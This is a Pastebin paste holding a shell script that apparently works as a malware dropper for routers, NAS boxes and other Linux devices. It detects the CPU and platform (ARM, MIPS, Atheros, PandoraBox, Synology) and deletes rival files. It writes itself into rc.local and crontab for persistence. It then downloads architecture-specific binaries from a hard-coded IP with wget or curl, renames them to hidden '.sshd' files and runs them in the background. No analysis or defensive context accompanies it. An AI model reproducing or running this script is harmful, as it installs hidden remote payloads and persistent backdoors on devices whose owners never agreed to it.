Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- cat /proc/cpuinfo | grep -i "ARM"
- if [ $? -eq 0 ]
- then
- rm -rf /root/*3389*
- rm -rf /root/*.exe*
- rm -rf /root/ssdgg.6
- rm -rf /root/txma
- rm -rf /root/Linux*
- fi
- cat /proc/cpuinfo | grep -i "MIPS"
- if [ $? -eq 0 ]
- then
- rm -rf /root/*3389*
- rm -rf /root/*.exe*
- rm -rf /root/ssdgg.6
- rm -rf /root/txma
- rm -rf /root/Linux*
- fi
- sed -i '/^ *$/d' /etc/rc.local;
- sed -i '/.sshd/c \ ' /etc/rc.local;
- sed -i '2i/tmp/sshd.s' /etc/rc.local;
- sed -i '2i/tmp/sshd.s ' /etc/rc.d/rc.local;
- sed -i '/sshd.s/c \ ' \/etc\/crontab;
- sed -i '/^ *$/d' \/etc\/crontab;
- sed -i '$a\*\/5 * * * * root \/tmp\/sshd.s' \/etc\/crontab ;
- if [ ! -f "/etc/crontabs/root" ];then
- echo "#ttt " >> /etc/crontabs/root
- echo "1 * * * * /tmp/sshd.s" >> /etc/crontabs/root
- fi
- cat /proc/cpuinfo | grep -i "ARM"
- if [ $? -eq 0 ]
- then
- sed -i '/sshd.s/c \ ' /etc/crontabs/root;
- sed -i '/^ *$/d' /etc/crontabs/root;
- sed -i '$a1 * * * * /tmp/sshd.s' /etc/crontabs/root ;
- fi
- cat /proc/cpuinfo | grep -i "MIPS" | grep -i -v "bogomips"
- if [ $? -eq 0 ]
- then
- sed -i '/sshd.s/c \ ' /etc/crontabs/root;
- sed -i '/^ *$/d' /etc/crontabs/root;
- sed -i '$a1 * * * * /tmp/sshd.s' /etc/crontabs/root ;
- fi
- uname -a | grep "PandoraBox"
- if [ $? -eq 0 ]
- then
- ps|grep "/bin/.sshd" |grep -v grep
- if [ $? -ne 0 ]
- then
- killall -9 .sshd ; rm -rf /root/sshd*; wget http://121.42.9.101/sshdn.d -P /root/; mv /root/sshdn.d /bin/.sshd; chmod a+x /bin/.sshd; /bin/.sshd> /dev/null &
- else
- echo "runing....."
- fi
- exit 0
- fi
- uname -a | grep "synology_"| grep -v "arm" | grep -v "ARM"
- if [ $? -eq 0 ]
- then
- ps|grep "/bin/.sshd" |grep -v grep
- if [ $? -ne 0 ]
- then
- killall -9 .sshd ; rm -rf /root/sshd.d*; wget http://121.42.9.101/sshd.d -P /root/; mv /root/sshd.d /bin/.sshd; chmod a+x /bin/.sshd; /bin/.sshd> /dev/null &
- else
- echo "runing....."
- fi
- exit 0
- fi
- cat /proc/cpuinfo | grep -i "Atheros"
- if [ $? -eq 0 ]
- then
- ps|grep "/tmp/.sshd" |grep -v grep
- if [ $? -ne 0 ]
- then
- killall -9 .sshd ; rm -rf /tmp/sshdm.d*; wget http://121.42.9.101/sshdm.d -P /tmp/; mv /tmp/sshdm.d /tmp/.sshd; chmod a+x /tmp/.sshd; /tmp/.sshd> /dev/null &
- else
- echo "runing....."
- fi
- exit 0
- fi
- con1=`cat /proc/cpuinfo | grep -i "ARM"|wc -l`
- con2=`uname -a| grep -i "ARM"|wc -l`
- echo "value $con1 $con2"
- if [ "$con1" -ge "1" -o "$con2" -ge "1" ];then
- ps1=`ps|grep "/tmp/.sshd" |grep -v grep|wc -l`
- ps2=`ps -ef|grep "/tmp/.sshd" |grep -v grep|wc -l`
- if [ "$ps1" -eq "0" -a "$ps2" -eq "0" ];then
- killall -9 .sshd ; rm -rf /tmp/sshda.d*; wget http://121.42.9.101/sshda.d -P /tmp/; mv /tmp/sshda.d /tmp/.sshd; chmod a+x /tmp/.sshd; /tmp/.sshd> /dev/null &
- else
- echo "runing....."
- fi
- exit 0
- fi
- cat /proc/cpuinfo | grep -i "MIPS" | grep -v "bogo" | grep -v "BOGO"| grep -v "Bogo"
- if [ $? -eq 0 ]
- then
- ps|grep "/tmp/.sshd" |grep -v grep
- if [ $? -ne 0 ]
- then
- killall -9 .sshd ; rm -rf /tmp/sshdn.d*; wget http://121.42.9.101/sshdn.d -P /tmp/; mv /tmp/sshdn.d /tmp/.sshd; chmod a+x /tmp/.sshd; /tmp/.sshd> /dev/null &
- else
- echo "runing....."
- fi
- exit 0
- fi
- #comm sys
- ps -ef |grep "/bin/.sshd" |grep -v grep
- if [ $? -ne 0 ]
- then
- killall -9 .sshd ; rm -rf /root/sshd*; wget http://121.42.9.101/sshd.d -P /root/;
- if [ ! -e "/root/sshd.d" ];
- then
- curl -o /root/sshd.d http:\/\/121.42.9.101\/sshd.d
- fi
- mv /root/sshd.d /bin/.sshd; chmod a+x /bin/.sshd; /bin/.sshd> /dev/null &
- else
- echo "runing....."
- fi
- exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement